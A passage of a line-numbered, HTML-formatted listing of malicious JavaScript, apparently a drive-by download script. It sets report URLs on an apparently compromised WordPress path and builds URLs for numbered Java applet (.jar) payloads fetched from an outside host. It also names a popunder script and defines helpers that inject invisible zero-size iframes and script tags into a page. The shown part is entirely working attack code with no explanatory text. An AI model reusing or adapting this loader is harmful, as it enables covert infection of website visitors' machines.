<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre></p>
